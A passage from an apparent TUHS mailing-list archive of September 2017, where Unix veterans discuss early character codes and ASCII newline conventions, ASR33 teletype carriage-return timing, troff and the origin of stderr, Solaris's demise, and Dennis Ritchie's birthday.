According to that book, the early 60s military codes were 7-bit, not 8-bit. Maybe Jennings is referring to a later standard?

The only reference I can find to a ‘DoD standard’ is this:

> During the early 1960s, a different kind of solution was tried in the Department of Defense. Recognizing that 42 graphics — 26 alphabetics, 10 numerics, and 6 specials (period, comma, slash, asterisk, minus sign, and dollar sign) — were common to all trains/chains, an edict was issued that only these 42 graphics could be used on reports. […] (p. 420)


—John

From richard at inf.ed.ac.uk  Wed Sep  6 00:41:55 2017
From: richard at inf.ed.ac.uk (Richard Tobin)
Date: Tue,  5 Sep 2017 15:41:55 +0100 (BST)
Subject: [TUHS] Future Languages
In-Reply-To: Larry McVoy's message of Mon, 4 Sep 2017 14:59:24 -0700
Message-ID: <20170905144155.4A625150E352@macaroni.inf.ed.ac.uk>

> So we have some source (that you can have as well, Apache license)
> that handles not strings but vectors of strings (or structs or whatever).
> 
> I need to write up how it works, it's sort of clever.  It stores both
> the size of the vector (always a power of 2) in part of the bits of the
> first entry and the actual length in the other part.  Because we can
> express powers of two in very little space we can support both values
> in a 32 bit unsigned with a max length of used space of around 134M.

I have something similar.  It allocates space for two ints (number
allocated and used) at ((int *)array)[-1] and [-2].

Typical use is

    LTVectorAndInit(char *, names);

    while(...)
      LTVectorPush(names, s);

    for(i=0; i<LTVectorCount(names); i++)
      ... names[i] ...;

    LTVectorFree(names);

-- Richard

-- 
The University of Edinburgh is a charitable body, registered in
Scotland, with registration number SC005336.



From paul.winalski at gmail.com  Wed Sep  6 01:23:18 2017
From: paul.winalski at gmail.com (Paul Winalski)
Date: Tue, 5 Sep 2017 11:23:18 -0400
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal is
 Not My Favorite Programming Language - Unearthed!]
In-Reply-To: <359f6155-7791-5277-18f4-a2cc08deeb45@dunnington.plus.com>
References: <201709040147.v841l3kf031858@elf.torek.net>
 <359f6155-7791-5277-18f4-a2cc08deeb45@dunnington.plus.com>
Message-ID: <CABH=_VT51H+b0RoH_zGe34p3KtQrs8-UxTs+Qz2WKVE+puiV6w@mail.gmail.com>

On 9/4/17, Pete Turnbull <pete at dunnington.plus.com> wrote:
>
> I don't doubt it's possible, just not on an ASR33.  Apart from the
> timing issue, the carriage return mechanism on Teletype 33s inhibits
> printing while the carriage is moving back, until it stops at the left
> margin.

I could swear I saw our old ASR33 at college do this (print characters
in the middle of the line while the carriage is moving back).  But
maybe my memory is faulty and it was another printing terminal of that
era.  Or maybe our ASR33 was broken.

-Paul W.


From clemc at ccc.com  Wed Sep  6 01:37:24 2017
From: clemc at ccc.com (Clem Cole)
Date: Tue, 5 Sep 2017 11:37:24 -0400
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal is
 Not My Favorite Programming Language - Unearthed!]
In-Reply-To: <CABH=_VT51H+b0RoH_zGe34p3KtQrs8-UxTs+Qz2WKVE+puiV6w@mail.gmail.com>
References: <201709040147.v841l3kf031858@elf.torek.net>
 <359f6155-7791-5277-18f4-a2cc08deeb45@dunnington.plus.com>
 <CABH=_VT51H+b0RoH_zGe34p3KtQrs8-UxTs+Qz2WKVE+puiV6w@mail.gmail.com>
Message-ID: <CAC20D2OhbvxBvuJjOT6xZmSc8owpSdcPuHhSKWziHD=mL45K2w@mail.gmail.com>

On Tue, Sep 5, 2017 at 11:23 AM, Paul Winalski <paul.winalski at gmail.com>
wrote:

> On 9/4/17, Pete Turnbull <pete at dunnington.plus.com> wrote:
> >
> > I don't doubt it's possible, just not on an ASR33.  Apart from the
> > timing issue, the carriage return mechanism on Teletype 33s inhibits
> > printing while the carriage is moving back, until it stops at the left
> > margin.
>
> I could swear I saw our old ASR33 at college do this (print characters
> in the middle of the line while the carriage is moving back).  But
> maybe my memory is faulty and it was another printing terminal of that
> era.  Or maybe our ASR33 was broken.

I agree with Paul, maybe later models worked this way, but the first ASR33
I used definitely did print at strange times.   I have the same memories
from 1967 on a GE Mark III with Dartmouth Basic using an acoustic coupler,
where line noise was definitely a problem.   It would print random
characters, particularly during carriage motion.   Since the only way to
get a copy of your program was with the LIST command, it was rare to get a
clean copy.   If the program was of any length, there was usually a random
character or two overprinted in the middle of listing.

Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170905/70a68c01/attachment.html>

From random832 at fastmail.com  Wed Sep  6 01:44:27 2017
From: random832 at fastmail.com (Random832)
Date: Tue, 05 Sep 2017 11:44:27 -0400
Subject: [TUHS] Line Terminators in Text Files
In-Reply-To: <CAC20D2P5dZMxwkZ_53VUaUZSCep9-b7-hpCsVmM+KtiaAB2bcA@mail.gmail.com>
References: <201709041832.v84IWYF2030885@coolidge.cs.Dartmouth.EDU>
 <1504616562.408048.1095616240.70DA0025@webmail.messagingengine.com>
 <CAC20D2P5dZMxwkZ_53VUaUZSCep9-b7-hpCsVmM+KtiaAB2bcA@mail.gmail.com>
Message-ID: <1504626267.442162.1095898352.08AE359C@webmail.messagingengine.com>

On Tue, Sep 5, 2017, at 10:46, Clem Cole wrote:
> Except as noted, alphabetic strings may be represented in any combination
> of upper and lower case. The only syntactic units which requires
> preservation of case information are:
>
>    - local-part, except "Postmaster"

So... the username portion.


From clemc at ccc.com  Wed Sep  6 02:05:57 2017
From: clemc at ccc.com (Clem Cole)
Date: Tue, 5 Sep 2017 12:05:57 -0400
Subject: [TUHS] Line Terminators in Text Files
In-Reply-To: <1504626267.442162.1095898352.08AE359C@webmail.messagingengine.com>
References: <201709041832.v84IWYF2030885@coolidge.cs.Dartmouth.EDU>
 <1504616562.408048.1095616240.70DA0025@webmail.messagingengine.com>
 <CAC20D2P5dZMxwkZ_53VUaUZSCep9-b7-hpCsVmM+KtiaAB2bcA@mail.gmail.com>
 <1504626267.442162.1095898352.08AE359C@webmail.messagingengine.com>
Message-ID: <CAC20D2NHOrLyyRF8y3RHg2hyCGwu=Cf4k259bvLeOKwtweww=Q@mail.gmail.com>

On Tue, Sep 5, 2017 at 11:44 AM, Random832 <random832 at fastmail.com> wrote:

> On Tue, Sep 5, 2017, at 10:46, Clem Cole wrote:
> > Except as noted, alphabetic strings may be represented in any combination
> > of upper and lower case. The only syntactic units which requires
> > preservation of case information are:
> >
> >    - local-part, except "Postmaster"
>
> So... the username portion.
>
​so the "postmaster" (username) does not preserve case by this rule.

It had to work that way, because CDC machines in particular in those days
had very funky character sets (lots of them actually).  IBM's were not much
better.   Remember, IBM was the primary driver behind ASCII (the System 360
was supposed to be IBM's first ASCII system).

Upper and Lower were very much a luxury because bits were expensive.  Not
just in registers, but main memory, registers, disk storage.

I think it's hard for modern users to really understand the extremes that
programmers had in those days because so much was done to encode things in
small numeric codes.   This was just another example if it.

The 8-bit 'byte' is only so because Fred Brooks, kept throwing Gene Amdahl
out of office during the 360 project.   Gene thought anything over 6 bits
was a waste.   Fred said if it was not a power of 2 don't come back, he
could not program with it.

Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170905/046eb09b/attachment.html>

From random832 at fastmail.com  Wed Sep  6 02:07:20 2017
From: random832 at fastmail.com (Random832)
Date: Tue, 05 Sep 2017 12:07:20 -0400
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal
 isNot My Favorite Programming Language - Unearthed!]
In-Reply-To: <D0EFD194-A591-42EE-B14B-66D484EEE815@johnlabovitz.com>
References: <20170904093708.E07EC150A5B2@macaroni.inf.ed.ac.uk>
 <1504610149.3705790.1095602960.1F439B61@webmail.messagingengine.com>
 <D0EFD194-A591-42EE-B14B-66D484EEE815@johnlabovitz.com>
Message-ID: <1504627640.447985.1095902528.1358C8FA@webmail.messagingengine.com>

On Tue, Sep 5, 2017, at 11:05, John Labovitz wrote:
> I have a book here called _Coded Character Sets, History and Development_
> (C.E. Mackenzie, 1980, Addison-Wesley) that is a wealth of info.
> 
> According to that book, the early 60s military codes were 7-bit, not
> 8-bit. Maybe Jennings is referring to a later standard?

Or maybe it was a 7-bit code with a parity bit and they're counting it
as 8-bit.

> The only reference I can find to a ‘DoD standard’ is this:
> 
> > During the early 1960s, a different kind of solution was tried in the Department of Defense. Recognizing that 42 graphics — 26 alphabetics, 10 numerics, and 6 specials (period, comma, slash, asterisk, minus sign, and dollar sign) — were common to all trains/chains, an edict was issued that only these 42 graphics could be used on reports. […] (p. 420)

I found a pre-ASCII standard proposal at
https://archive.org/details/enf-ascii-1961-09 that refers to
"MIL-STD-188A". Googling *that* finds stuff referring to Fieldata, so
that's probably what it's referring to. Fieldata does have a "Special"
control character immediately before DEL. And now that I check again,
the WPS page does say "For all intents and purposes "FIELDATA" today
refers to the character code. It, or a minor variant, is sometimes
called the "DoD standard 8-bit code".


From random832 at fastmail.com  Wed Sep  6 02:10:30 2017
From: random832 at fastmail.com (Random832)
Date: Tue, 05 Sep 2017 12:10:30 -0400
Subject: [TUHS] Line Terminators in Text Files
In-Reply-To: <CAC20D2NHOrLyyRF8y3RHg2hyCGwu=Cf4k259bvLeOKwtweww=Q@mail.gmail.com>
References: <201709041832.v84IWYF2030885@coolidge.cs.Dartmouth.EDU>
 <1504616562.408048.1095616240.70DA0025@webmail.messagingengine.com>
 <CAC20D2P5dZMxwkZ_53VUaUZSCep9-b7-hpCsVmM+KtiaAB2bcA@mail.gmail.com>
 <1504626267.442162.1095898352.08AE359C@webmail.messagingengine.com>
 <CAC20D2NHOrLyyRF8y3RHg2hyCGwu=Cf4k259bvLeOKwtweww=Q@mail.gmail.com>
Message-ID: <1504627830.448377.1095961368.772BDA92@webmail.messagingengine.com>

On Tue, Sep 5, 2017, at 12:05, Clem Cole wrote:
> On Tue, Sep 5, 2017 at 11:44 AM, Random832 <random832 at fastmail.com>
> wrote:
> 
> > On Tue, Sep 5, 2017, at 10:46, Clem Cole wrote:
> > > Except as noted, alphabetic strings may be represented in any combination
> > > of upper and lower case. The only syntactic units which requires
> > > preservation of case information are:
> > >
> > >    - local-part, except "Postmaster"
> >
> > So... the username portion.
> >
> ​so the "postmaster" (username) does not preserve case by this rule.

Yes, but, say, "clemc" or "random832" or "tuhs" does (the endpoint
system might not actually care, but other systems are not free to
capitalize it in the assumption that it won't matter). Postmaster, in
particular, is an exception to the exception.


From crossd at gmail.com  Wed Sep  6 02:31:09 2017
From: crossd at gmail.com (Dan Cross)
Date: Tue, 5 Sep 2017 12:31:09 -0400
Subject: [TUHS] [Groff] It is time to modernise "groff"
In-Reply-To: <CAP6exY+Ydz_bh4bWDn6XyE4htpNcT_zKKAEHvf_bj5yP3K=X7w@mail.gmail.com>
References: <201709041545.v84Fj0qn029704@coolidge.cs.Dartmouth.EDU>
 <201709041828.v84IS3dx005283@darkstar.fourwinds.com>
 <CAP6exY+Ydz_bh4bWDn6XyE4htpNcT_zKKAEHvf_bj5yP3K=X7w@mail.gmail.com>
Message-ID: <CAEoi9W5z35MYK+m=1T8JDWwMmEzvbSTMpeYOsJfJMF35D=ftcg@mail.gmail.com>

On Mon, Sep 4, 2017 at 4:25 PM, ron minnich <rminnich at gmail.com> wrote:

> I've found it weird to say the least that usenix doesn't accept troff, but
> will take Word documents.
>
> The plan 9 troff pipeline is still quite complete. A few years back Russ
> Cox pointed out that new CPUs were so fast that running a statically-linked
> troff pipeline to process a paper was pretty much instantaneous.
>
> He was right and, for a few years, for tech papers, I just switched back
> to troff/tbl/pic/grap and friends. It was nice.
>

I used 'tbl' at work the other day and sent the results to Ron in an email;
it was nice that it "just worked."

        - Dan C.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170905/59394a53/attachment.html>

From cym224 at gmail.com  Wed Sep  6 03:55:15 2017
From: cym224 at gmail.com (Nemo)
Date: Tue, 5 Sep 2017 13:55:15 -0400
Subject: [TUHS] [Groff] It is time to modernise "groff"
In-Reply-To: <CAEoi9W5z35MYK+m=1T8JDWwMmEzvbSTMpeYOsJfJMF35D=ftcg@mail.gmail.com>
References: <201709041545.v84Fj0qn029704@coolidge.cs.Dartmouth.EDU>
 <201709041828.v84IS3dx005283@darkstar.fourwinds.com>
 <CAP6exY+Ydz_bh4bWDn6XyE4htpNcT_zKKAEHvf_bj5yP3K=X7w@mail.gmail.com>
 <CAEoi9W5z35MYK+m=1T8JDWwMmEzvbSTMpeYOsJfJMF35D=ftcg@mail.gmail.com>
Message-ID: <CAJfiPzy2SsXt+YMw4BkBSPMcWz_byGR+0qeJduAtnsLtiGVvxQ@mail.gmail.com>

On 05/09/2017, Dan Cross <crossd at gmail.com> wrote:
> On Mon, Sep 4, 2017 at 4:25 PM, ron minnich <rminnich at gmail.com> wrote:
>
>> I've found it weird to say the least that usenix doesn't accept troff,
>> but will take Word documents.
>>
>> The plan 9 troff pipeline is still quite complete. A few years back Russ
>> Cox pointed out that new CPUs were so fast that running a
>> statically-linked
>> troff pipeline to process a paper was pretty much instantaneous.
>>
>> He was right and, for a few years, for tech papers, I just switched back
>> to troff/tbl/pic/grap and friends. It was nice.
>>
>
> I used 'tbl' at work the other day and sent the results to Ron in an email;
> it was nice that it "just worked."
>
>         - Dan C.

I may written this before but Tanenbaum, in his many prefaces, praises
troff and states that all his books are written with troff.

N.


>


From paul.winalski at gmail.com  Wed Sep  6 04:55:02 2017
From: paul.winalski at gmail.com (Paul Winalski)
Date: Tue, 5 Sep 2017 14:55:02 -0400
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal is
 Not My Favorite Programming Language - Unearthed!]
In-Reply-To: <2c69951c-964d-0ab3-4494-dbe38d90aa3c@dunnington.plus.com>
References: <201709032314.v83NEhxg031354@elf.torek.net>
 <2c69951c-964d-0ab3-4494-dbe38d90aa3c@dunnington.plus.com>
Message-ID: <CABH=_VSuDiyM1fbaRTJfREzWg60CGLvsAdp2wMSTpVyObVJ9JA@mail.gmail.com>

On 9/3/17, Pete Turnbull <pete at dunnington.plus.com> wrote:
>
> That's not right.  Yes, the ASR33 runs at 110 baud (10cps), but all -
> including mine and those of my friends -  take more like half a dozen
> character times to perform a CR from the right hand side.  Moreover, the
> time it takes depends in a non-linear fashionon how far along the line
> the printhead has travelled; it's driven by a spring and decelerated and
> stopped by an air dashpot.  Even an LF takes more than two character
> times.  That's why ASR33 drivers send a string of nulls after a CR.
> Many are smart enough to send the LF instead of the first null, if they
> see that LF is the first character after CR.

I distinctly recall the ASR33 printing exactly two characters while
the print head is in motion, if a CR is issued while the print head is
at the right margin.  The ASR33 had a very fast and forceful print
head return mechanism--you definitely didn't want to get your fingers
in the way!  In my programs that sent data to an ASR33, I always
followed CR with two non-printing characters (typically LF/NUL) and I
never had a problem with characters printing during the print head
return.

I don't recall LF taking more than one character time to execute on
the ASR33.  If it did, I never noticed it.

The DEC LA36 dot matrix terminal had a rather leisurely carriage
return mechanism, but it also could buffer up characters received
while the CR was in progress.  It would then speed up over the normal
printing rate to catch up and empty the buffer.  There was a third
party mod to the LA36 that you could buy that would cause it to always
think it was in catch-up mode and to print at the higher speed all the
time.  This shortened the life of the print mechanism, but at our shop
we found the extra speed in printing worth the expense of repairing
early breakdown of the mechanism.

-Paul W.


From pete at dunnington.plus.com  Wed Sep  6 05:13:42 2017
From: pete at dunnington.plus.com (Pete Turnbull)
Date: Tue, 5 Sep 2017 20:13:42 +0100
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal is
 Not My Favorite Programming Language - Unearthed!]
In-Reply-To: <CABH=_VSuDiyM1fbaRTJfREzWg60CGLvsAdp2wMSTpVyObVJ9JA@mail.gmail.com>
References: <201709032314.v83NEhxg031354@elf.torek.net>
 <2c69951c-964d-0ab3-4494-dbe38d90aa3c@dunnington.plus.com>
 <CABH=_VSuDiyM1fbaRTJfREzWg60CGLvsAdp2wMSTpVyObVJ9JA@mail.gmail.com>
Message-ID: <a86c429a-bdec-d938-eccd-77aa68938c53@dunnington.plus.com>

On 05/09/2017 19:55, Paul Winalski wrote:
> I distinctly recall the ASR33 printing exactly two characters while
> the print head is in motion, if a CR is issued while the print head is
> at the right margin.  The ASR33 had a very fast and forceful print
> head return mechanism--you definitely didn't want to get your fingers
> in the way!  In my programs that sent data to an ASR33, I always
> followed CR with two non-printing characters (typically LF/NUL) and I
> never had a problem with characters printing during the print head
> return.

Well, I may have exaggerated the time a CR takes slightly, in fact 
thinking of 5 or 6 perhaps I was remembering my other teleprinter: a 50 
baud Creed 7B which I no longer have.  I'm still sure it's normally more 
than two character times.  Yes, I know about keeping fingers away - and 
how to adjust various parts of an ASR33, and I have the tech manuals. 
I'm sitting next to a working ASR33 right now.

-- 
Pete
Pete Turnbull


From dds at aueb.gr  Wed Sep  6 04:27:05 2017
From: dds at aueb.gr (Diomidis Spinellis)
Date: Tue, 5 Sep 2017 21:27:05 +0300
Subject: [TUHS] RIP Solaris
Message-ID: <8540a463-739f-de8c-befe-1b7f6b9a322a@aueb.gr>

In case you missed the news, it seems that Oracle is effectively 
shutting down the development of Solaris.  You can read an eloquent 
obituary written by Bryan Cantrill at 
http://dtrace.org/blogs/bmc/2017/09/04/the-sudden-death-and-eternal-life-of-solaris/.

Diomidis


From scj at yaccman.com  Wed Sep  6 13:06:23 2017
From: scj at yaccman.com (Steve Johnson)
Date: Tue, 05 Sep 2017 20:06:23 -0700
Subject: [TUHS] [Groff] It is time to modernise "groff"
In-Reply-To: <CAEoi9W5z35MYK+m=1T8JDWwMmEzvbSTMpeYOsJfJMF35D=ftcg@mail.gmail.com>
Message-ID: <8d29b01ec8813a2fdb56db781095043db1673bc2@webmail.yaccman.com>

One of the interesting thing that troff lled to in Unix was stderr!  
Initially, Unix had stdin and stdout, but no stderr. We had a
phototypesetter that worked by flashing pictures of the various
letters on photosensitive paper.  It came out in a roll that had to
be fed into a developer and when it emerged it had to be cut into
pages manually.   Several months after we got the phototypesetter
somebody (The Hunt brothers?) cornered the market for silver, and the
cost of the developer shot through the roof.   We were asked to cut
back on our use of the phototypesetter, and we tried to do so.One day,
I was attempting to print out a one-page document.  I ran troff piped
into the phototypesetter and got out my roll of paper and fed it into
the developer.  Out the other end came a page with only one line on
it (beautifully typeset): "cannot open input file xxx"   A number of
others had similar experiences, and stderr was born...
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170905/89f881db/attachment.html>

From jon at fourwinds.com  Wed Sep  6 13:35:53 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Tue, 05 Sep 2017 20:35:53 -0700
Subject: [TUHS] [Groff] It is time to modernise "groff"
In-Reply-To: <8d29b01ec8813a2fdb56db781095043db1673bc2@webmail.yaccman.com>
References: <8d29b01ec8813a2fdb56db781095043db1673bc2@webmail.yaccman.com>
Message-ID: <201709060335.v863ZrmB005830@darkstar.fourwinds.com>

"Steve Johnson" writes:
>   One of the interesting thing that troff lled to in Unix was stderr!  
>   Initially, Unix had stdin and stdout, but no stderr.
>
>   We had a phototypesetter that worked by flashing pictures of the various
>   letters on photosensitive paper.  It came out in a roll that had to be fed
>   into a developer and when it emerged it had to be cut into pages manually.
>     Several months after we got the phototypesetter somebody (The Hunt
>   brothers?) cornered the market for silver, and the cost of the developer
>   shot through the roof.   We were asked to cut back on our use of the
>   phototypesetter, and we tried to do so.
>
>   One day, I was attempting to print out a one-page document.  I ran troff
>   piped into the phototypesetter and got out my roll of paper and fed it into
>   the developer.  Out the other end came a page with only one line on it
>   (beautifully typeset): "cannot open input file xxx"   A number of others
>   had similar experiences, and stderr was born...

Ah, the C/A/T.  Responsible from some of the squirrelly aspects of troff
like font positions.


From doug at cs.dartmouth.edu  Thu Sep  7 01:24:10 2017
From: doug at cs.dartmouth.edu (Doug McIlroy)
Date: Wed, 06 Sep 2017 11:24:10 -0400
Subject: [TUHS] Line Terminators in Text Files
Message-ID: <201709061524.v86FOAbf102170@tahoe.cs.Dartmouth.EDU>

> does anyone know anything about the 1961 DoD 8-bit
> character set standard it refers to?
>
> This does not appear to say anything about LF vs "Newline" (as either a
> name or a function), though the 1986 version of ASCII deprecates it, so
> was most likely acknowledged in versions between these in response to
> practices on OSes such as Multics. ECMA-6:1973 acknowledges it

I wouldn't say the "practices" of Multics influenced the recognition
of NL in the ASCII standard, for Multics didn't go into use until
1970, while NL was specified by 1965 (see below) with direct
reference to the properties of equipment, not operating systems.
Just what equipment, I don't know. IBM Selectric perhaps?

I recall Multics discussions that specifically cited the standard,
in particular Joe Ossanna's liaison between Multics and the TTY 37
design team at Western Electric, circa 1967. Thus it is my
understanding that Multics was an early adopter of ASCII's NL
convention, not an influencer of it.

Quotation from "Proposed revised American standard for information
interchange", CACM 8 (April 1965) 207-214:

  The controls CR and LF are intended for printer equipment
  which requires separate combinations to return the carriage
  and feed a line.

  As an alternative, for equipment which uses a single combination
  for a combined carriage-return and line-feed operation
  (called New-Line), NL will be coded at FE 2 [LF]. Then FE 5
  [CR] will be regarded as Backspace BS.

  If the latter type of equipment has to interwork with the
  former, it may be necessary to take steps to introduce the
  CR character.

One might read the preceding paragraph as advice not only to
writers of driver software but also to a future standards
committee to undo the curious notion of regarding CR
as BS. Unix effectively took it both ways, and kept the
original meaning of CR.

doug


From ches at cheswick.com  Thu Sep  7 04:30:53 2017
From: ches at cheswick.com (William Cheswick)
Date: Wed, 6 Sep 2017 14:30:53 -0400
Subject: [TUHS] Line Terminators in Text Files
In-Reply-To: <201709061524.v86FOAbf102170@tahoe.cs.Dartmouth.EDU>
References: <201709061524.v86FOAbf102170@tahoe.cs.Dartmouth.EDU>
Message-ID: <57108130-CADF-4881-AE38-A6891BBA8631@cheswick.com>

I remember the TTYs quite distinctly: they were my first computer interfaces.  On the model
33 and 35 teletypes, a carriage return and a single rubout were sufficient padding, even if
the carriage was on the far right.  The rubout character was distinctive, and you could spot
line separators fairly easily on the punched paper tape.  (Where did all my paper tapes go?)

My favorite line in the Model 33 TTY repair manual:
“The resistor will act as a fuse.”

ches



From reed at reedmedia.net  Thu Sep  7 04:56:17 2017
From: reed at reedmedia.net (Jeremy C. Reed)
Date: Wed, 6 Sep 2017 13:56:17 -0500 (CDT)
Subject: [TUHS] looking for UNIX News (July 1975 through 1977)
Message-ID: <alpine.NEB.2.20.1709061344440.25455@t1.m.reedmedia.net>

Anyone have UNIX News newsletters from 1975/1976 and ;login: from 
1977?

For details see 
https://www.usenix.org/system/files/login/articles/login_apr15_16_unix_news.pdf 
I don't know if is a complete transcription of the July 20, 1975 issue. 
That article suggests others will be reprinted, but I only found:

Number 4, March 19, 1976
https://www.usenix.org/system/files/login/articles/login_june_11_unix_news.pdf

Number 10, October 1976
https://www.usenix.org/system/files/login/articles/login_aug15_10_unix_news.pdf

Volume 2, Number 5, May--June 1977
https://www.usenix.org/system/files/login/articles/login_oct15_12_unix_news.pdf
(webpage wrongly says Number 10)

Volume 2, Number 7, August 1977
https://www.usenix.org/sites/default/files/login_aug77.pdf
excerpts: https://www.usenix.org/system/files/login/articles/login_dec15_11_history_login.pdf

Do you know of others?

In an article, Salus wrote Number 2 is October 8, 1975 and Number 3 
is February 10, 1976.

Thanks

  Jeremy C. Reed

p.s. I have read many AUUGN issues over the past few years. Thanks for 
hosting those.


From ron at ronnatalie.com  Thu Sep  7 07:09:26 2017
From: ron at ronnatalie.com (Ronald Natalie)
Date: Wed, 6 Sep 2017 17:09:26 -0400
Subject: [TUHS] [Groff] It is time to modernise "groff"
In-Reply-To: <8d29b01ec8813a2fdb56db781095043db1673bc2@webmail.yaccman.com>
References: <8d29b01ec8813a2fdb56db781095043db1673bc2@webmail.yaccman.com>
Message-ID: <1951558B-CEB4-4FA8-B1C3-AF4C4CC5A4E2@ronnatalie.com>


> On Sep 5, 2017, at 11:06 PM, Steve Johnson <scj at yaccman.com> wrote:
> 
> One day, I was attempting to print out a one-page document.  I ran troff piped into the phototypesetter and got out my roll of paper and fed it into the developer.  Out the other end came a page with only one line on it (beautifully typeset): "cannot open input file xxx"   A number of others had similar experiences, and stderr was born…
I hear you.   Postscript lacked the concept as well.   I remember spending bucks on a phototypesetter run just to find an error message as the only thing on print run.

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170906/d22562b7/attachment.html>

From mutiny.mutiny at rediffmail.com  Thu Sep  7 19:02:12 2017
From: mutiny.mutiny at rediffmail.com (Mutiny )
Date: 7 Sep 2017 09:02:12 -0000
Subject: [TUHS] =?utf-8?q?Line_Terminators_in_Text_Files?=
In-Reply-To: <57108130-CADF-4881-AE38-A6891BBA8631@cheswick.com>
Message-ID: <1504722695.S.4449.13879.f4-234-192.1504774932.10928@webmail.rediffmail.com>

From: William Cheswick &lt;ches at cheswick.com&gt;Sent: Thu, 07 Sep 2017 00:01:35...My favorite line in the Model 33 TTY repair manual:&ldquo;The resistor will act as a fuse.&rdquo;really? ;-)BTW u made my day.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170907/ccfd5ab2/attachment.html>

From dave at horsfall.org  Sat Sep  9 06:54:52 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Sat, 9 Sep 2017 06:54:52 +1000 (EST)
Subject: [TUHS] Happy birthday, Dennis Ritchie!
Message-ID: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>

Sadly no longer with us (he exited in 2011), he was forked in 1941.  Just 
think, if it wasn't for him and Ken, we'd all be running Windoze, and 
thinking it's wonderful.

A Unix bigot through and through, I remain,

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From jnc at mercury.lcs.mit.edu  Sat Sep  9 07:04:50 2017
From: jnc at mercury.lcs.mit.edu (Noel Chiappa)
Date: Fri,  8 Sep 2017 17:04:50 -0400 (EDT)
Subject: [TUHS] Happy birthday, Dennis Ritchie!
Message-ID: <20170908210450.C0FA618C08E@mercury.lcs.mit.edu>

    > From: Dave Horsfall <dave at horsfall.org>

    > Just think, if it wasn't for him and Ken, we'd all be running Windoze,
    > and thinking it's wonderful.

It's actually worse than that.

We'd be running a Windows even worse than current Windows (which has managed
to pick up a few decent ideas from places like Unix).

	Noel


From krewat at kilonet.net  Sat Sep  9 07:05:54 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Fri, 8 Sep 2017 17:05:54 -0400
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
Message-ID: <ce2b25b1-49b8-7a17-1410-36c8f867db90@kilonet.net>

Seconded.

Who knows, may we wouldn't even have Windows.

On 9/8/2017 4:54 PM, Dave Horsfall wrote:
> Sadly no longer with us (he exited in 2011), he was forked in 1941. 
> Just think, if it wasn't for him and Ken, we'd all be running Windoze, 
> and thinking it's wonderful.
>
> A Unix bigot through and through, I remain,
>



From michael at kjorling.se  Sat Sep  9 07:09:27 2017
From: michael at kjorling.se (Michael =?utf-8?B?S2rDtnJsaW5n?=)
Date: Fri, 8 Sep 2017 21:09:27 +0000
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <20170908210450.C0FA618C08E@mercury.lcs.mit.edu>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <20170908210450.C0FA618C08E@mercury.lcs.mit.edu>
Message-ID: <20170908210927.GB24413@DD0DDC435AC34EA8A55ABC3A9753F2FB>

On 8 Sep 2017 17:04 -0400, from jnc at mercury.lcs.mit.edu (Noel Chiappa):
> We'd be running a Windows even worse than current Windows (which has managed
> to pick up a few decent ideas from places like Unix).

Like directories, and free-form files (collections of bytes as opposed
to collections of records)?

-- 
Michael Kjörling • https://michael.kjorling.se • michael at kjorling.se
                 “People who think they know everything really annoy
                 those of us who know we don’t.” (Bjarne Stroustrup)


From pechter at gmail.com  Sat Sep  9 07:14:03 2017
From: pechter at gmail.com (William Pechter)
Date: Fri, 8 Sep 2017 17:14:03 -0400
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
Message-ID: <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>

If it wasn't for Unix, it possibly would have been VMS on Alpha... Or OS/2.  Early Windows 3.x wouldn't have cut it.

Perhaps without the Unix workstations DEC might have survived.

Interesting alternate history...

Bill


-----Original Message-----
From: Dave Horsfall <dave at horsfall.org>
To: The Eunuchs Hysterical Society <tuhs at tuhs.org>
Sent: Fri, 08 Sep 2017 16:56
Subject: [TUHS] Happy birthday, Dennis Ritchie!

Sadly no longer with us (he exited in 2011), he was forked in 1941.  Just 
think, if it wasn't for him and Ken, we'd all be running Windoze, and 
thinking it's wonderful.

A Unix bigot through and through, I remain,

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From angus at fairhaven.za.net  Sat Sep  9 08:13:53 2017
From: angus at fairhaven.za.net (Angus Robinson)
Date: Fri, 08 Sep 2017 22:13:53 +0000
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
Message-ID: <CAE49LG=cE=y0aEQ9NCgSD3wfX3464yQivpd5-btn4suuXLRo4Q@mail.gmail.com>

You also would have Mac OS, Linux,etc

On Fri, Sep 8, 2017 at 5:14 PM William Pechter <pechter at gmail.com> wrote:

> If it wasn't for Unix, it possibly would have been VMS on Alpha... Or
> OS/2.  Early Windows 3.x wouldn't have cut it.
>
